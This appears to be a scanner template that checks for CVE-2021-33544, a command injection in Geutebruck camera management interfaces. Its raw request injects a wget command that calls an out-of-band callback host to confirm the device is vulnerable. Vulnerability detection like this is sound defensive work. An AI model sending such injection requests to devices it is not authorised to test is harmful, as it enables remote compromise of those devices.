id: CVE-2021-33544

info:
  name: Geutebruck RCE
  description: Multiple vulnerabilities in the web-based management interface of Geutebruck could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  author: gy741
  severity: high
  reference:
    - https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/
  tags: cve,cve2021,geutebruck,rce,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.20
    cve-id: CVE-2021-33544
    cwe-id: CWE-77

requests:
  - raw:
      - |
        GET //uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://{{interactsh-url}})&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"